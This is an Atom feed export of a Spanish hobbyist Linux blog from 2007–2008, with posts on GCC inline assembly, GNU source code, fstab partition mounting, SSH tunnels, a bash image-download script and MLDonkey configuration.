haberlo intentado me ha salido un pareado). A lo que ibamos, las instrucciones sidt y lidt lo que hacen es leer del registro (sidt) o escribir en el registro (lidt). La inicialización de los SOs en general escriben en este registro... así que ojito con estas cosas. Bueno, pues con esto queda explicado a que me refiero con "ensamblador avanzadillo", no hay que saberse el repertorio completo y que hace cada una (putas arquitecturas CISC), pero conocer mov, add y mult no es suficiente para disfrutar del bajo nivel :P.&lt;br /&gt;&lt;br /&gt;Después de este desvarío momentaneo que me entró voy al meollo de esta entrada. Aprender a pinchar código en ensamblador en C siempre me ha resultado un coñazo, pero últimamente me veo en la necesidad (y ganas) de aprenderlo así que me puse a buscar un poco más decentemente que las otras veces y encontré un manual de un español al que le ocurrió lo mismo en su momento. Empecemos ya a llamar a las cosas por su nombre "Assembly in line" GCC tiene un manual, que no he encontrado, absolutamente completo de ello (y probablemente complejo) así que para empezar recomiendo el &lt;a href="http://es.tldp.org/Manuales-LuCAS/doc-gcc-inline/doc-gcc-inline.pdf"&gt;manual&lt;/a&gt; del hombre este. Desde aquí quiero agradecerle profundamente su trabajo.&lt;br /&gt;&lt;br /&gt;Pues eso. Que si queréis aprender a pinchar ensamblador en C esto les servirá, pero primero aprendan algo de arquitectura porque para escribir en ensamblador ya pueden hacerlo directamente sobre un archivo .S, lo interesante aquí es usar "Extended assembly in line" que es lo que nos permite mezclarlo con C.&lt;br /&gt;&lt;br /&gt;Happy Hacking!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-6116620394731644478?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/6116620394731644478/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=6116620394731644478' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/6116620394731644478'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/6116620394731644478'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2008/02/ensamblador-empotrado-en-cdigo-c.html' title='Ensamblador empotrado en código C'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-2217290072228901450</id><published>2008-02-06T20:09:00.000Z</published><updated>2008-02-06T21:01:33.091Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='gnu utilities'/><category scheme='http://www.blogger.com/atom/ns#' term='codigo fuente'/><category scheme='http://www.blogger.com/atom/ns#' term='programas tipicos'/><title type='text'>Todos esos programas que siempre quise ver</title><content type='html'>No les ha pasado nunca que de repente tienen ganas de echarle un ojo a algún programa típico por dentro, al fuente me refiero, y no saben dónde está. Estoy hablando de programas como ls, cat, emacs, bash, etc...&lt;br /&gt;&lt;br /&gt;Si uno empieza a poner en google cosas como "ls" o "ls source code" no parece que encuentre lo que buscamos, e incluso si encontraramos algo, no parece que sea muy fiable.&lt;br /&gt;&lt;br /&gt;Ultimamente estoy cacharreando bastante con Linux así que decidí buscarlos, en principio empece con &lt;a href="http://www.koders.com/"&gt;koders&lt;/a&gt;, pero claro, después me paré a pensar y dije "oye, que estos programas tendrán 20 o más ficheros de código fuente distintos, así no puedo". Al final me puse a pensar y poco y me dije "OYE! TODO ESTO ES SOFTWARE LIBRE!, seguro que la FSF tiene algún repositorio en el que lo distribuyen", y acerte. En la página del &lt;a href="http://www.gnu.org/"&gt;proyecto GNU&lt;/a&gt; tienen &lt;a href="http://directory.fsf.org/GNU/"&gt;LOS VERDADEROS fuentes&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Bash, Bison, Coreutils, Diffutils, Emacs, Findutils, GIMP, Gcc, GNAT... en fin, todas esas aplicaciones tan maravillosas que usamos más de lo que creemos. Happy Hacking!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-2217290072228901450?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/2217290072228901450/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=2217290072228901450' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/2217290072228901450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/2217290072228901450'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2008/02/todos-esos-programas-que-siempre-quise.html' title='Todos esos programas que siempre quise ver'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-5426590847292663439</id><published>2007-12-10T19:44:00.000Z</published><updated>2007-12-13T13:04:01.764Z</updated><title type='text'>Montar particiones al arrancar con FSTAB</title><content type='html'>&lt;p&gt; Este articulo es para enseñar y yo recordar en un futuro, como y que hay que hacer para montar una partición que ubuntu no monta solo al instalar el sistema o simplemente no monta al arrancar el sistema.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Introducción&lt;/b&gt;&lt;/p&gt; &lt;p&gt;Primero empezaremos diciendo que en linux las particiones son los archivos hd?? o sd?? que están en el directorio /dev. Si lo que tenemos es un disco duro de conexión IDE o PATA, como quieras llamarlo, pues tus particiones empezarán por hd, luego según donde tengas conectado el disco duro, si en el primer conector o en el segundo, el archivo será &lt;b&gt;hda? &lt;/b&gt;o&lt;b&gt; hdb?&lt;/b&gt;, también esta los hdc y hdd, dependiendo si el disco duro esta conectado al otro cable IDE. Por otro lado, si tu disco duro es de conexión SATA, entonces tu archivo será &lt;b&gt;sd?&lt;/b&gt; y luego la a,b,c, etc... dependiendo de en que cable lo hayas conectado en la controladora. De todas maneras no se si se le asigna los nombres secuencialmente y siempre habrá un sda si hay un sdb, y se puede decir lo mismo de los hda, hdb, etc...&lt;/p&gt; &lt;p&gt;Una vez explicado como se va a llamar tu archivo que representa el disco duro en linux, pasamos a describir como representa las particiones dentro de tu disco duro linux. Imaginemos que tenemos 4 particiones en nuestro disco duro, donde en la 1 tenemos instalada el windows XP, en la 2 , en la una partición que no se exactamente que es (¿la raíz para la partición logica?), en la 3 tenemos instalado el SWAP (partición de intercambio), en la 4 tenemos instalada nuestra distribución Ubuntu y en la 5 tenemos una partición de almacenamiento llamada Datos. Pues planteado este entorno de particiones y que en mi caso mi disco duro es un SATA y solo tengo uno, podemos decir que linux llamará sda1 a la partición donde esta XP, sda2 a esa "partición", sda3 a la partición swap, sda4 a la partición donde esta instalado el linux y sda5 a la partición de datos. Para ver nuestras particiones tenemos el comando:&lt;/p&gt; &lt;p&gt;&lt;i&gt;    $ sudo fdisk -l&lt;/i&gt;&lt;/p&gt; &lt;p&gt;que nos mostrá lo siguiente:&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sNgmzdGXzVo/R12YYdsF3YI/AAAAAAAAAAc/lAsBxTD4Hnc/s1600-h/listadoparticiones.jpg"&gt;&lt;img style="cursor: pointer; width: 306px; height: 115px;" src="http://2.bp.blogspot.com/_sNgmzdGXzVo/R12YYdsF3YI/AAAAAAAAAAc/lAsBxTD4Hnc/s400/listadoparticiones.jpg" alt="" id="BLOGGER_PHOTO_ID_5142433895580818818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;(hacer clic para agrandar y que se vea bien)&lt;br /&gt;&lt;p&gt;De esta imagen podemos observar que la columna:&lt;/p&gt; &lt;p&gt;1º es el nombre de la partición.&lt;/p&gt; &lt;p&gt;2º marca con un * la partición de arranque donde esta el MBR.&lt;/p&gt; &lt;p&gt;7º nos cuenta en que tipo de formato esta formateada la partición.&lt;/p&gt; &lt;p&gt;Llegados a este punto ya sabemos como tenemos organizado nuestro disco duro y he contado todo esto, por que cuando leo algo sobre linux me gusta que antes me pongan en situación, por que muchas veces hacen las cosas, casi no las explican y peor aun, no explican de donde sacar los datos que son necesarios para realizar la tarea.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Desarrollo&lt;/b&gt;&lt;/p&gt; &lt;p&gt;Una vez sabemos ya todo lo necesario, solo decir que el archivo que le dice al linux que particiones tiene que montar al arrancar o que particiones hay en nuestro equipo es el archivo &lt;b&gt;/etc/fstab .&lt;/b&gt;&lt;/p&gt; &lt;p&gt;De este archivo lo que nos interesa son explicar para que sirven las columnas útiles ya que hay algunas que no se para que son y por lo tanto no me son útiles para montar simples particiones de datos. A continuación muestro el contenido de mi archivo fstab, con la línea ya introducida.&lt;/p&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_sNgmzdGXzVo/R12YYtsF3ZI/AAAAAAAAAAk/b99aOB7J5TA/s1600-h/pantallazoFSTAB.jpg"&gt;&lt;img style="cursor: pointer; width: 363px; height: 131px;" src="http://3.bp.blogspot.com/_sNgmzdGXzVo/R12YYtsF3ZI/AAAAAAAAAAk/b99aOB7J5TA/s400/pantallazoFSTAB.jpg" alt="" id="BLOGGER_PHOTO_ID_5142433899875786130" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;(hacer clic para agrandar y que se vea bien)&lt;br /&gt;&lt;p&gt;De esta imagen podemos observar que la columna:&lt;/p&gt; &lt;p&gt;1º  es el identificador de la partición el UUID.&lt;/p&gt; &lt;p&gt;2º es el lugar donde vamos a montar la partición, la carpeta debe existir previamente.&lt;/p&gt; &lt;p&gt;3º es el tipo de formateo que tiene la partición.&lt;/p&gt; &lt;p&gt;4º son las distintas opciones para montar la partición&lt;/p&gt; &lt;p&gt;la 5º y la 6º no se para que son, yo copie los valores de la partición sda1 que esa si me la monto solo el ubuntu.&lt;/p&gt; &lt;p&gt;En mi caso, la partición que quise meter en el fstab es la sda5, la última linea, para saber que hay que poner en la 1º columna, el UUID, podemos sacar su valor con el siguiente comando, el cual nos devuelve el UUID de la partición que le pasamos.&lt;/p&gt; &lt;p&gt;&lt;i&gt;$ sudo vol_id -uuid /dev/sda5&lt;/i&gt;&lt;/p&gt; &lt;p&gt;El valor que nos devuelva, lo pondremos a continuación de UUID="ristra_devuelta". En la 2º columna pondremos la ruta donde queremos montar nuestra partición, acordaos de crear antes la carpeta y de poner los permisos para que podáis acceder sin ser root. En la 3º columna ponemos ntfs, ya que la partición es de ese tipo. En la cuarta columna ponemos las opciones con que queramos montar nuestra partición, estas opciones están explicadas en el &lt;b&gt;man mount&lt;/b&gt;. Las mas relevantes son:&lt;/p&gt; &lt;p&gt;&lt;b&gt;umask &lt;/b&gt;:  Con ello se indica con que permisos se  montará la partición.&lt;/p&gt; &lt;p&gt;&lt;b&gt;gid &lt;/b&gt;: Con ello se indica que grupo de usuarios podrán acceder a la partición (o eso creo).&lt;/p&gt; &lt;p&gt;Con esto acabo la explicación de como hacer para que se monte una partición automáticamente, solo recordaos que también podemos montar la partición a mano, por si esto no funciona, con &lt;i&gt;$ sudo mount -a /dev/sda5 /media/datos&lt;/i&gt;&lt;/p&gt; &lt;p&gt;Bueno chao y asta otra, intentaré completar el articulo añadiendo el significado de más opciones.&lt;/p&gt; &lt;p&gt;PD: Si he tenido algún error de concepto por favor  diganlo.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;NOTA: &lt;/span&gt;Si queréis saber más y/o mejor, leed el primer comentario de OLE, que amplía conocimiento y comenta las cosas que se podían mejorar.&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-5426590847292663439?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/5426590847292663439/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=5426590847292663439' title='7 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/5426590847292663439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/5426590847292663439'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/12/este-articulo-es-para-ensear-y-yo.html' title='Montar particiones al arrancar con FSTAB'/><author><name>Nauzet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_sNgmzdGXzVo/R12YYdsF3YI/AAAAAAAAAAc/lAsBxTD4Hnc/s72-c/listadoparticiones.jpg' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-3789488426203356121</id><published>2007-11-23T22:57:00.001Z</published><updated>2009-02-04T20:04:20.824Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><title type='text'>Tuneles SSH</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Secure_Shell"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;SSH&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; Es un protocolo de red para el intercambio datos entre dos ordenadores de manera segura mediante el establecimiento de un canal &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;encriptado&lt;/span&gt;&lt;/span&gt; de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;comunicación&lt;/span&gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;El uso mas &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_3"&gt;común&lt;/span&gt;&lt;/span&gt;  de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;ssh&lt;/span&gt;&lt;/span&gt; consiste en establecer un canal seguro para ejecutar comandos remotamente en terminales de la familia &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_5"&gt;Unix&lt;/span&gt;&lt;/span&gt;. Pero &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_6"&gt;también&lt;/span&gt;&lt;/span&gt; es posible establecer lo que se denomina &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_7"&gt;túnel&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;ssh&lt;/span&gt; desde otros sistemas operativos  y con otros fines. Como por ejemplo entre sistemas &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;MSWindows&lt;/span&gt; mediante la herramienta &lt;a href="http://www.chiark.greenend.org.uk/%7Esgtatham/putty/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;putty&lt;/span&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Un &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_11"&gt;túnel&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;ssh&lt;/span&gt;&lt;/span&gt; permite traernos el puerto de una maquina remota hasta otro puerto de nuestra maquina  local. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_13"&gt;También&lt;/span&gt;&lt;/span&gt; podemos hacer lo contrario y llevarnos un puerto local a una maquina remota. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_14"&gt;Además&lt;/span&gt;&lt;/span&gt; esto  puede aplicarse sucesivamente pudiendo llegar a acceder a maquinas no visibles desde nuestra red mediante una cadena de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_15"&gt;túneles&lt;/span&gt;&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;ssh&lt;/span&gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Una maquina intermedia nos trae el puerto remoto X de otra al puerto local Y de nuestra maquina local&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;    ssh&lt;/span&gt;&lt;/span&gt; -l usuarioMaquinaIntermedia -L puertoRemotoX : maquinaDestino : puertoY maquinaIntermedia&lt;br /&gt;&lt;br /&gt;Una maquina intermedia nos lleva el puerto local Y de nuestra maquina al puerto remoto X de otra&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;    ssh&lt;/span&gt;&lt;/span&gt; -l &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;usuarioLocal&lt;/span&gt;&lt;/span&gt; -R Y : &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;localhost&lt;/span&gt;&lt;/span&gt; : X &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;maquinaLocal&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Con el comando ssh se pueden hacer muchas otras cosas como por ejemplo lanzar remotamente aplicaciones &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_44"&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_40"&gt;grafías&lt;/span&gt;&lt;/span&gt; y verlas localmente con el parametro -X, hablilitar compresion en la conexcion con -C , y mucho mas haciendo "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;man&lt;/span&gt;&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_47"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;ssh&lt;/span&gt;&lt;/span&gt;"!&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-3789488426203356121?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/3789488426203356121/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=3789488426203356121' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/3789488426203356121'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/3789488426203356121'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/11/tuneles-ssh.html' title='Tuneles SSH'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-806360895152178149</id><published>2007-11-14T10:08:00.000Z</published><updated>2007-11-14T10:12:38.859Z</updated><title type='text'>Bajando colecciones de fotos de internet...</title><content type='html'>Bueno, el otro día llegué a mi casa y me dije "joe, sería cojonudo tener todas las tiras de Bilo y Nano". Así que me puse a ello, lo ví claro, script que te trajo al mundo. Aquí lo tienen por si quieren tener toda la colección:&lt;br /&gt;&lt;br /&gt;  1 #!/bin/bash&lt;br /&gt;  2&lt;br /&gt;  3 number=1&lt;br /&gt;  4 limit=$1&lt;br /&gt;  5&lt;br /&gt;  6 # We need at least one parameter, a number.&lt;br /&gt;  7 if [[ $1 == "" ]]&lt;br /&gt;  8 then   &lt;br /&gt;  9         echo "Usage: $0 &lt;limit&gt;"&lt;br /&gt; 10         exit&lt;br /&gt; 11 fi&lt;br /&gt; 12&lt;br /&gt; 13 # Take those images.&lt;br /&gt; 14 while [[ $number -le $limit ]]&lt;br /&gt; 15 do     &lt;br /&gt; 16         wget "http://www.tiraecol.net/modules/comic/cache/images/tiraecol-$number.png"&lt;br /&gt; 17         number=$(($number+1))&lt;br /&gt; 18         echo "$number $limit"&lt;br /&gt; 19 done&lt;br /&gt;&lt;br /&gt;Sencillito de usar. Por cierto, si quieren bajar más cosas, como galerias porno o yo que se qué sólo teneis que cambiarle la dirección web por la vuestra y por supuesto en la parte que alla un numero ponerle $number.&lt;br /&gt;&lt;br /&gt;En un futuro subire la version mejorada donde le pasas una dirección cualquiera. Hasta entonces esto es lo que hay, pa una noche no está mal.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-806360895152178149?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/806360895152178149/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=806360895152178149' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/806360895152178149'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/806360895152178149'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/11/bajando-colecciones-de-fotos-de.html' title='Bajando colecciones de fotos de internet...'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-1998376674306613031</id><published>2007-11-12T23:02:00.001Z</published><updated>2009-02-04T20:03:48.549Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='configuración'/><title type='text'>Como configurar el MLDonkey</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Introducción&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;    El MLDonkey es un cliente unificado de varios protocolos p2p, los mas importantes son los de emule y el bittorrent. El MLDonkey es un cliente linux que se controla por consola, cosa que también nos proporciona una interfaz web para su uso mas ameno. A continuación voy a explicar como se configura este cliente para poder usarlo remotamente.&lt;br /&gt;&lt;br /&gt;  Empezaremos instalando el programa  con la siguiente orden en la consola:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;sudo apt-get install mldonkey-server&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En las explicaciones venideras vamos a tener en cuenta la siguiente configuración:&lt;br /&gt;&lt;br /&gt;  -Instalación en un ordenador que hace de servidor de emule, con IP 192.168.1.4&lt;br /&gt;  -Control remoto de todo el cliente.&lt;br /&gt;  -Configuración de Puertos (Abrir Puertos) : puse en el router para la ip 192.168.1.4 el rango ip de tcp y udp  6881 a 6889     para el cliente bittorrent y demás.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Configuración del mldonkey y preparación del sistema.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;    A continuación lo primero que debemos hacer es entrar en el programa para habilitar la interfaz vía web, para poder hacer una configuración gráfica del cliente más cómoda y amigable.&lt;br /&gt;&lt;br /&gt;  Para poder acceder remotamente tanto vía web como por telnet hay que poner&lt;br /&gt;que IPs están permitidas.  Para ello  primero tenemos que entrar en el programa, introduciendo en la consola la orden: &lt;span style="font-style: italic;"&gt;"telnet localhost 4000"&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;  Una vez dentro introducimos la siguiente orden, que indica al cliente que acepte todas las conexiones para acceder al cliente que provengan de localhost y de la red que tengo en mi casa:&lt;br /&gt;  &lt;span style="font-style: italic;"&gt;set allowed_ips "127.0.0.1 192.168.1.255"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Preparación de los directorios donde se alojaran los temporales y los ficheros descargados.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;  En mi caso lo pongo en un disco duro a parte. Así que tenemos dos manera de cambiar los directorios donde se guardan las cosas&lt;br /&gt;&lt;br /&gt;1º es configurar los directorios share en la interfaz web o por consola del mldonkey.&lt;br /&gt;&lt;br /&gt;  En vez de usar la consola (telnet) o la interfaz web usaremos el fichero downloads.ini que esta dentro de /home/nauzet/.mldonkey/&lt;br /&gt;&lt;br /&gt;  Este archivo contiene toda la configuracion del mldonkey y para la parte de preparar las rutas de la carpeta incoming lo haremos por aquí  que es mas sensillo. Solo tenemos que buscar en la seccion Path, el share direcctori y sustituir en dirname la ruta de la carpeta incoming por la ruta que deseemos.&lt;br /&gt;&lt;br /&gt;      Ejemplo: En este ejemplo esta claro que se pueden borrar directorios como ej shared y el directories, donde solo tendríamos un solo lugar donde se pasan los archivos descargados. Ademas creo que lo improtante es la estrategia de los directorios, incoming_file, que supongo es como decirle al servidor descarga aqui.&lt;br /&gt;      shared_directories = [&lt;br /&gt;        {     dirname = shared&lt;br /&gt;           strategy = all_files&lt;br /&gt;           priority = 0&lt;br /&gt;      };&lt;br /&gt;        {     dirname = "/media/datoslinux/descargas/files"&lt;br /&gt;           strategy = incoming_files&lt;br /&gt;           priority = 0&lt;br /&gt;      };&lt;br /&gt;        {     dirname = "/media/datoslinux/descargas/directories"&lt;br /&gt;           strategy = incoming_directories&lt;br /&gt;           priority = 0&lt;br /&gt;      };]&lt;br /&gt;&lt;br /&gt;2º es borrar los directorios donde se guardan y sustituirlos por enlaces simbólicos a donde queremos que se guarden las cosas&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;   ln -s /directorioDestino enlaceSimbolico&lt;/span&gt;&lt;br /&gt;  *ejemplo  (file y directories esta dentro de: /home/nauzet/.mldonkey/&lt;br /&gt;&lt;br /&gt;  &lt;span style="font-style: italic;"&gt;ln -s  /media/datoslinux/descargas/ incoming&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;    &lt;span style="font-weight: bold;"&gt;NOTA:&lt;/span&gt; Hay que poner bien los permisos de la carpeta incoming por que sino no arranca el servidor.&lt;br /&gt;&lt;br /&gt;  Hay que hacer los enlaces de la carpeta share y temp (la carpeta temp esta en la interfaz web y se configura desde alli el destino)&lt;br /&gt;&lt;br /&gt;  Una vez echo esto el resto de la configuración lo hacemos por la interfaz web, para ello abrimos el navegador web e introducimos la IP del ordenador donde instalamos el cliente (192.168.1.4) y indicamos el puerto al que nos conectamos. Lo que tenemos que poner es:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    192.168.1.4:4080&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;  Una vez dentro vamos a la sección de opciones.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;configurar el cliente ED2k(emule)&lt;/span&gt;&lt;br /&gt;-Aumentar el numero de servidores a conectarse. Para ello buscamos la opción siguiente y le ponemos el nº de servidores.&lt;br /&gt;&lt;br /&gt;  ED2K-max_connected_servers 10&lt;br /&gt;&lt;br /&gt;-puertos para el ED2K&lt;br /&gt;&lt;br /&gt;  ED2K-port 6885&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;configurar el cliente bittorrent&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para poder usar el cliente bittitorrent hay que activarlo hay q ir a NET y poner enable_bittorrent a true.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  BT-client_port 6882    (cambiar puertos para mas seguridad)&lt;br /&gt;&lt;br /&gt;  BT-tracker_port 6881&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Recursos y utilidades&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;    Extensión para el firefox del mldonkey, para que se añadan al mldonkey los ficheros que vayas a descargar.&lt;br /&gt;&lt;br /&gt;  http://www.informatik.uni-oldenburg.de/~dyna/mldonkey/&lt;br /&gt;&lt;br /&gt;  Para configurar lo solo hay que ir a opciones dentro de lo de extensiones y ponerle la ip donde esta el mldonkey&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Web mini tutorial español del mldonkey&lt;br /&gt;&lt;br 